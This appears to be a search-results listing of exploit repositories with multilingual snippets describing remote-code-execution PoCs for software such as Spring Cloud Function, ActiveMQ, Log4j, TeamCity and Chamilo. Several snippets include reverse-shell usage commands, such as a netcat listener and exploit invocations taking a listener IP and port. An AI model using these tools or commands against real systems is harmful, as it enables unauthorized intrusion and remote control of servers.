517138 matches found
CVE-2022-22963_Reverse-Shell-Exploit
Эксплойт обратной оболочки CVE-2022-22963 Это Python-скрипт, который эксплуатирует CVE-2022-22963, уязвимость удаленного выполнения кода в Spring Cloud Function, позволяющую злоумышленникам выполнять произвольный код на уязвимом сервере. Эксплойт использует уязвимую конечную точку /functionRouter...
CVE-2017-7525-Jackson-Deserialization-Lab
CVE-2017-7525 Java 안전하지 않은 역직렬화 랩 안전하지 않은 역직렬화에 취약하여 RCE로 이어지는 기본 Java REST 애플리케이션입니다. 이 프로젝트는 Java 8u45 에서 실행해야 합니다. Maven 기반이며 다음 종속성을 사용합니다: jackson-databind 2.2.2 commons-collections 3.1 spring-context-support 4.3.11 더 많은 가젯gadget을 시도하려면 Maven을 통해 추가 종속성을 추가할 수 있습니다. 실행 Intellij Idea 사용을 권장합니...
CVE-2025-4322-Exploit
CVE-2025-4322 - 확인되지 않은 비밀번호 변경 CWE-620 익스플로잇: 여기에서 다운로드 세부 정보 CVE ID : CVE-2025-4322 게시일 : 05/20/2025 영향 : Critical CVSS : 9.8 패치 가능 여부 : 아직 공식 패치 없음 영향 치명적인 심각도의 취약점으로, 공격자가 잠재적으로 다음을 수행할 수 있습니다: - 브라우저의 샌드박스 보호 우회 - 임의 코드 실행 - 시스템 무결성 손상 - 시스템 리소스에 대한 무단 액세스 권한 획득 이 취약점은 특히 Windows의 Firefox를...
s2-048
s2-048 s2-048, CVE-2017-9791에 대한 익스플로잇입니다. root@kitploit: / \ \ / / | | \ / / | | / \ / / | | | \ \ / /| | | | | | | / /| | / / | | | | \ V / | ||/ /| || | | / /, |/ / , | | | / || ||/||// //// //|| poc: root@kitploit:...
CVE-2026-34197
CVE-2026-34197 — Apache ActiveMQ Classic의 Jolokia API를 통한 RCE TL;DR Apache ActiveMQ Classic 의 원격 코드 실행 취약점으로, 공격자가 Jolokia API/api/jolokia/를 통해 addNetworkConnectorString MBean 작업을 호출하여 임의 코드를 실행할 수 있습니다. 공격자는 원격 Spring XML 파일을 가리키는 악성 brokerConfig 매개변수를 삽입하며, ActiveMQ가 이를 가져와 파싱하면서 임의의 Java 객체를...
CVE-2023-24249-Exploit
CVE-2023-24249 익스플로잇 스크립트 설명 이 리포지토리는 laravel-admin 버전 1.8.19에서 발견된 심각한 취약점인 CVE-2023-24249에 대한 익스플로잇 스크립트를 포함하고 있습니다. 이 취약점은 임의의 파일 업로드를 허용하여 공격자가 조작된 PHP 파일을 통해 임의의 코드를 실행할 수 있게 합니다. 이 익스플로잇은 공격자가 대상 애플리케이션에 리버스 셸을 업로드하고 실행하여 원격 접근을 얻는 방법을 보여줍니다. 취약점 세부 정보 CVE-2023-24249 는 laravel-admin v1.8.19...
CVE-2026-34038
CVE-2026-34038: Аутентифицированное удаленное внедрение команд в Coolify Этот репозиторий содержит документацию и анализ для CVE-2026-34038 , критической уязвимости внедрения команд в Coolify. Краткое описание Аутентифицированная уязвимость удаленного внедрения команд CWE-78 в Coolify позволяет...
CVE-2019-5544_CVE-2020-3992
SLP 서비스 스캐너 CVE-2019-5544 CVE-2020-3992 SRVLOC/SLP 프로토콜을 구현하여 활성화된 OpenSLP 서비스를 스캔하는 Python 스크립트입니다. CVE-2019-5544, CVE-2020-3992 또는 CVE-2021-21974의 영향을 받는 시스템을 검색할 때 유용하게 사용할 수 있습니다... VMware 취약점에 대한 자세한 정보는 예를 들어 다음에서 확인할 수 있습니다:...
React2Shell-Exploit-CVE-2025-55182
💀 React2Shell 익스플로잇 — CVE-2025-55182 root@kitploit: ██████╗ ███████╗ █████╗ ██████╗████████╗██████╗ ███████╗██╗ ██╗███████╗██╗ ██╗ ██╔══██╗██╔════╝██╔══██╗██╔════╝╚══██╔══╝╚════██╗██╔════╝██║ ██║██╔════╝██║ ██║ ██████╔╝█████╗ ███████║██║ ██║ █████╔╝███████╗███████║█████╗ ██║ ██║ ██╔══██╗██╔══╝...
CVE-2025-48384
CVE-2025-48384 PoC 주의사항 본 리포지토리는 보안 교육용으로 작성되었습니다. 악용은 삼가해주세요. 본 취약점은 디렉터리 이름에 \r을 포함해야 하므로, Linux/Unix 계열이 영향을 받습니다. 아래는 영향을 받는 Git 버전입니다. v2.43.x 계열 - v2.43.7 미만 v2.44.x 계열 - v2.44.4 미만 v2.45.x 계열 - v2.45.4 미만 v2.46.x 계열 - v2.46.4 미만 v2.47.x 계열 - v2.47.3 미만 v2.48.x 계열 - v2.48.2 미만 v2.49.x 계열 -...
CVE-2016-2555
CVE-2016-2555 익스플로잇 이 익스플로잇은 ATutor 2.2.1 의 SQL 인젝션 취약점 과 인증 약점 취약점 을 대상으로 합니다. 이러한 취약점을 악용하면 공격자는 악성 코드를 업로드하여 취약한 서버에서 원격 코드 실행RCE을 달성할 수 있습니다. 사용법 root@kitploit: $ python3 CVE-2016-2555.py target:port 예시: root@kitploit: $ python3 CVE-2016-2555.py 127.0.0.1:8080 기능 ATutor 2.2.1의 SQL 인젝션 취약점을...
CVE-2023-422-Chamilo-LMS-RCE
사전 요구 사항 root@kitploit: pip install requests 정보 이 Python 스크립트는 취약점 CVE-2023-422을 이용하여 서버에 파일을 업로드하고, 그 파일을 사용하여 netcat 리스너로 리버스 셸을 보냅니다. 이 모든 과정은 인증 없이 수행할 수 있습니다. 그러나 Python 스크립트를 성공적으로 사용하려면 다음 단계를 따라야 합니다. netcat 리스너 시작: root@kitploit: nc -lnvp 4444 Python 스크립트 실행 예시: root@kitploit: python3...
CVE-2023-42793
CVE-2023-42793 정보 먼저 다른 익스플로잇을 사용하여 토큰을 획득해야 합니다. 그러나 다음 익스플로잇은 페이로드를 URL에 인코딩하여 서버로 전송함으로써 Linux 서버에서 RCE를 획득할 수 있게 해줍니다. 사용 방법 root@kitploit: python3 ./main -t TEAMCITYTOKEN -u http://teamcity.runner.htb -p 80 -ni LISTENERIP -np LISTENERPORT...
CVE-2023-27163-AND-Mailtrail-v0.53
자동 익스플로잇 요약 다음 익스플로잇은 Requests Baskets v1.2.1 SSRF 취약점을 악용하여 127.0.0.1:80에서 실행 중인 내부 애플리케이션을 /pwned의 외부 애플리케이션으로 전달합니다. Mailtrail v0.53 애플리케이션이 전달되면, 이에 대해 리버스 셸 명령을 실행하며 몇 초 내에 사용자는 머신에 대한 리버스 셸을 획득해야 합니다. 명령어 root@kitploit: python3 ./exploit http://10.10.10.10:55555 LISTENER-IP LISTENER-PORT...
CVE-2019-9978-Social-Warfare-WordPress-Plugin-RCE
CVE-2019-9978 - Удаленное выполнение кода в плагине Social Warfare для WordPress Этот репозиторий содержит рабочий эксплойт на Python для CVE-2019-9978 — уязвимости удаленного выполнения кода в плагине Social Warfare для WordPress версии = 3.5.2. Описание Параметр swpdebug в файле admin-post.php...
CVE-2019-18426
WhatsApp 취약점 공개 - 오픈 리다이렉트 + CSP 우회 + 지속형 XSS + FS 읽기 권한 + RCE 가능성 CVE-2019-18426 기술 문서 원본 취약점 공개 문서 데모 동영상!...
fusionpbx_rce_vulnerability
서문 이 간단한 코드는 Dustin Cobb가 Caller ID를 사용한 RCE – FusionPBX의 다중 취약점에서 소개한 연쇄 취약점의 구현을 완성하려고 시도합니다. RCE 재현 단계 1. 웹 브라우저에서 취약한 운영자 화면을 봅니다. 이 예제에서는 https://fusionpbxaddress/app/operatorpanel/index.php에 있습니다. 2. 원격 시스템rcelisteneraddress에서 netcat 리스너를 시작합니다.x 3. 원격 시스템의 다른 터미널 창에서 아래의 익스플로잇 코드를 실행합니다:...
CVE-2021-44228-demo
log4j-shell-poc 最近発見されたCVE-2021-44228脆弱性の概念実証（PoC）です。 最近、log4jに新たな脆弱性が見つかりました。log4jは、elasticsearch、minecraft、その他多数で非常に広く使用されているJavaロギングライブラリです。 このリポジトリには、脆弱なアプリケーションの例と、それに対する概念実証（POC）エクスプロイトがあります。 概念実証（POC） PoCとして、プロセスを自動化するPythonファイルがあります。 必要条件: root@kitploit: pip install -r requirements.txt...
CVE-2026-35616
CVE-2026-35616 - FortiClient EMS 사전 인증 API 우회를 통한 RCE 요약 Fortinet FortiClient EMS 7.4.5 및 7.4.6 의 치명적인 인증 우회 취약점으로 인해 완전히 인증되지 않은 원격 공격자가 단일 HTTP 헤더X-SSL-CLIENT-VERIFY를 스푸핑하여 API 인증을 우회할 수 있습니다. 이 결함은 Django 미들웨어가 신뢰할 수 있는 리버스 프록시뿐만 아니라 사용자 제어 헤더의 클라이언트 인증서 메타데이터를 신뢰하기 때문에 발생합니다. 이를 통해 공격자는 전체 관리...